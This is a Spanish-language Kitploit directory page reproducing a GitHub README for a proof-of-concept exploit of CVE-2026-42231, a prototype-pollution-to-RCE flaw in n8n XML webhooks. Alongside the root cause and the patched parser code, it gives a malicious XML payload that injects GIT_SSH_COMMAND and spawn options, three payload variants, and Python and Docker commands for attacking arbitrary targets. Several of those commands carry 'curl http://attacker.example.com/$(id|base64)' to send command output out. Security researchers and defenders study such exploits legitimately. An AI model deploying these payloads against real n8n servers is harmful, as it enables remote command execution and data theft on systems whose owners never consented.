Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-42231 — Prueba de concepto de exploit para CVE-2026-42231, una vulnerabilidad crítica de contaminación de prototipos en los webhooks XML de n8n que conduce a la ejecución remota de código. Incluye laboratorio Docker, PoC en Python y verificador en Node.js. | Kitploit
Herramientas/GitHubGitHub/rudsarkar/cve-2026-42231
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad Web
GitHubrudsarkar/cve-2026-42231

CVE-2026-42231

Prueba de concepto de exploit para CVE-2026-42231, una vulnerabilidad crítica de contaminación de prototipos en los webhooks XML de n8n que conduce a la ejecución remota de código. Incluye laboratorio Docker, PoC en Python y verificador en Node.js.

Ver Repositorio
1hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

GHSA-q5f4-99jv-pgg5 — Contaminación de prototipos en webhook XML de n8n → RCE

CVE: CVE-2026-42231
Severidad: Crítica (CVSS 10.0)
Afectados: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
Corregido en: n8n 1.123.32 / 2.17.4 / 2.18.1


Resumen de la vulnerabilidad

packages/cli/src/middlewares/body-parser.ts crea un singleton xml2js Parser a nivel de módulo sin tagNameProcessors ni attrNameProcessors. Esto permite a un atacante enviar un cuerpo de webhook XML que contenga un elemento <__proto__>.

xml2js 0.6.2 usa Object.defineProperty con un descriptor de datos para establecer claves de elementos en objetos analizados. Debido a que siempre es , envuelve el valor en un array y lo almacena como una — omitiendo el accessor que normalmente actualizaría la cadena de prototipos de forma segura.

'__proto__' in obj
true
assignOrPush()
propiedad de datos enumerable propia
[[Set]]

La propiedad propia __proto__ sobrevive a JSON.stringify (ejecutado cuando n8n persiste los datos de ejecución en SQLite/PostgreSQL), y después de JSON.parse al recargar, un posterior Object.assign(target, reloadedBody) redirige el prototipo de target al objeto controlado por el atacante.

En flujos de trabajo que también contienen un nodo Git que realiza una operación SSH, el prototipo contaminado expone un valor spawnOptions / GIT_SSH_COMMAND a simple-git's createInstanceConfig, permitiendo la ejecución de comandos a nivel de sistema operativo.


Causa raíz

root@kitploit:~
// packages/cli/src/middlewares/body-parser.ts  (VULNERABLE — < 1.123.32)
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,   // convierte etiquetas a minúsculas — pero NO bloquea __proto__
    explicitArray: false,
    // ← SIN tagNameProcessors
    // ← SIN attrNameProcessors
});

Corrección (>= 1.123.32):

root@kitploit:~
function sanitizeXmlName(name: string): string {
    const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
    return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,
    explicitArray: false,
    tagNameProcessors:  [sanitizeXmlName],
    attrNameProcessors: [sanitizeXmlName],
});

Cadena de explotación

root@kitploit:~
1. El atacante envía un POST XML a un disparador de Webhook público:

      POST /webhook/<id>  Content-Type: application/xml
      <?xml version="1.0" encoding="UTF-8"?>
      <root>
        <__proto__>
          <env GIT_SSH_COMMAND="attacker_cmd"/>
          <spawnoptions><shell>true</shell></spawnoptions>
        </__proto__>
      </root>

2. El analizador de cuerpo xml2js crea req.body.root donde '__proto__' es una
   PROPIEDAD DE DATOS ENUMERABLE PROPIA:
      Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
      → { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
          enumerable: true, writable: true, configurable: true }

3. deepCopy() de n8n itera las claves propias mediante for...in + hasOwnProp.
   La asignación  clone['__proto__'] = deepCopy(attackerArray)
   reemplaza silenciosamente el prototipo de clone mediante el accessor [[Set]].

4. n8n serializa los datos de ejecución a la BD:
      JSON.stringify(body.root)
      → '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
   La clave __proto__ se incluye porque es propia y enumerable.
   Confirmado en la tabla execution_data en SQLite.

5. Al recargar, JSON.parse recrea '__proto__' como una propiedad de datos propia
   (objeto plano, sin envoltura de array).
      Object.assign(gitOptions, reloadedBody)
   redirige el prototipo de gitOptions al objeto controlado por el atacante.

6. Cuando el nodo Git llama a simpleGit(gitOptions):
      createInstanceConfig(gitOptions)
   lee config.spawnOptions a través de la cadena de prototipos → truthy →
   spawnOptionsPlugin se registra.
   Con GIT_SSH_COMMAND en el objeto env, git ejecuta el comando del
   atacante en la siguiente operación SSH.

Nota sobre normalizeTags

normalizeTags: true convierte a minúsculas todas las etiquetas XML, por lo que los elementos hijos como <GIT_SSH_COMMAND> se convierten en git_ssh_command en el objeto analizado. Para preservar mayúsculas y minúsculas en nombres de variables de entorno, use atributos XML (los nombres de atributos no se normalizan con normalizeTags):

root@kitploit:~
<env GIT_SSH_COMMAND="attacker_cmd"/>

Requisitos previos

  1. Un disparador de Webhook público (Autenticación = Ninguna, Content-Type = XML) debe existir en un flujo de trabajo activo.
  2. Para la ruta completa de RCE, el flujo de trabajo también debe contener un nodo Git que realice una operación autenticada por SSH (clone / push mediante URL SSH).
  3. Versión de n8n < 1.123.32.

Configuración del laboratorio

Requisitos

  • Docker ≥ 24 con Compose v2
  • Python 3.9+ (para uso independiente del PoC sin Docker)
  • Puerto 5678 libre en localhost

Configuración con un solo comando

root@kitploit:~
chmod +x exploit.sh
./exploit.sh setup

Esto descarga n8nio/n8n:1.123.22 (última versión afectada), construye la imagen del atacante, inicia el objetivo vulnerable en http://localhost:5678, crea y activa automáticamente un flujo de trabajo de webhook, y guarda la URL del webhook en .webhook_state.


Recorrido completo de explotación

1. Configuración

root@kitploit:~
./exploit.sh setup

Salida esperada (truncada):

root@kitploit:~
[*] Descargando imagen vulnerable de n8n (1.123.22) ...
[*] Construyendo imagen del atacante ...
[*] Iniciando objetivo vulnerable de n8n ...
[*] Esperando a que n8n esté saludable ...
[*] Creando flujo de trabajo de webhook (Webhook → nodo Code) ...
[+] Laboratorio listo.

    Ejecute:  ./exploit.sh demo        # verificar la primitiva de contaminación
              ./exploit.sh exploit     # entregar los tres payloads de RCE

2. Verificar la primitiva de contaminación (modo demo)

root@kitploit:~
./exploit.sh demo

El PoC envía un payload de verificación y muestra el cuerpo analizado devuelto desde el flujo de trabajo de n8n. Una instancia vulnerable devuelve:

root@kitploit:~
[+] HTTP 200
    Response: {"step1_ownEnumerableProto":true,
               "step1_descriptor":{"enumerable":true,
                 "value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
               "step2_deepCopySimulated":true,
               "step3_jsonRoundTripOwn":true,
               "step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
               "step4_objectAssignPolluted":true, ...}

3. Entregar payloads con intención de RCE

root@kitploit:~
./exploit.sh exploit
# o con un comando personalizado:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"

Se entregan tres payloads complementarios:

PayloadTécnica
AEtiqueta <__proto__> — GIT_SSH_COMMAND como atributo XML
BCadena <constructor><prototype>
C<__proto__> anidado con atributos env

4. Observar el resultado (con nodo Git en el flujo de trabajo)

  • En el registro de ejecución de n8n, busque el error del comando git — incluirá la salida de su GIT_SSH_COMMAND inyectado si el RCE se disparó.
  • En modo demo con el nodo Code, el cuerpo de respuesta del flujo de trabajo contendrá "step4_objectAssignPolluted": true confirmando la cadena.

Uso independiente (sin Docker)

root@kitploit:~
pip install -r requirements.txt

# Solo verificación — no se requiere nodo Git:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <ruta-del-webhook> \
    --demo

# Explotación completa — requiere flujo de trabajo Webhook + Git/SSH:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <ruta-del-webhook> \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

Formato de URL de webhook (n8n v1.123.x)

En algunas implementaciones n8n registra el webhook como /webhook/<workflowId>/webhook/<ruta>. Si la forma corta /webhook/<ruta> devuelve 404, pase el prefijo del workflow-ID como --target:

root@kitploit:~
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target "http://n8n.target.com/webhook/<workflowId>" \
    --webhook-id <ruta> \
    --demo

Verificación local (Node.js, sin instancia en vivo necesaria)

Reproduce la configuración exacta del analizador xml2js usada por n8n y recorre las cuatro etapas de la cadena:

root@kitploit:~
cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js

Salida esperada en configuración vulnerable:

root@kitploit:~
[STEP 1] VULNERABLE — '__proto__' es propiedad de datos enumerable propia
         descriptor: { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
                       enumerable: true, writable: true, configurable: true }
[STEP 1] El analizador corregido renombró __proto__ a sanitized___proto__
[STEP 2] deepCopy cambió el prototipo → clone proto[1].polluted = "CONFIRMED"
[STEP 3] Después de JSON round-trip + Object.assign → target.polluted = "undefined"
[ RCE ]  Si target se usa como configuración de simpleGit Y el prototipo expone
         p. ej. { spawnOptions: { shell: true } }, git se generará a través de un shell
[STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (encontrado vía cadena de prototipos)
[ RCE ]  simpleGit llamaría: spawnOptionsPlugin(config.spawnOptions)
══ RESULTADO: La instancia usa configuración xml2js VULNERABLE (sin sanitizeXmlName) ══

Comandos manuales de Docker

root@kitploit:~
# Construir la imagen del atacante
docker build -t n8n-proto-pollution-poc .

# Modo demo (se conecta a la red compartida del laboratorio)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --demo

# Explotación completa
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

# Contra un objetivo externo (sin necesidad de flag de red)
docker run --rm n8n-proto-pollution-poc \
    --target https://n8n.example.com \
    --webhook-id <ruta> \
    --demo

Limpieza

root@kitploit:~
./exploit.sh clean

Detiene contenedores y elimina volúmenes (incluida la base de datos SQLite).


Archivos

ArchivoDescripción
poc_GHSA-q5f4-99jv-pgg5.pyPoC HTTP independiente en Python — tres variantes de payload XML, modos --demo y --cmd
verify_GHSA-q5f4-99jv-pgg5.jsVerificador local de cadena en Node.js — recorre las 4 etapas de explotación sin instancia en vivo
DockerfileImagen del contenedor del atacante
docker-compose.ymlLaboratorio completo: n8n vulnerable + contenedor del atacante
exploit.shScript auxiliar para configuración, demo, explotación y limpieza
requirements.txtDependencias de Python

Referencias

  • GHSA-q5f4-99jv-pgg5
  • Registro de cambios de n8n 1.123.32
  • xml2js assignOrPush — descriptor de datos Object.defineProperty
  • Contaminación de prototipos mediante Object.defineProperty
Descargar herramienta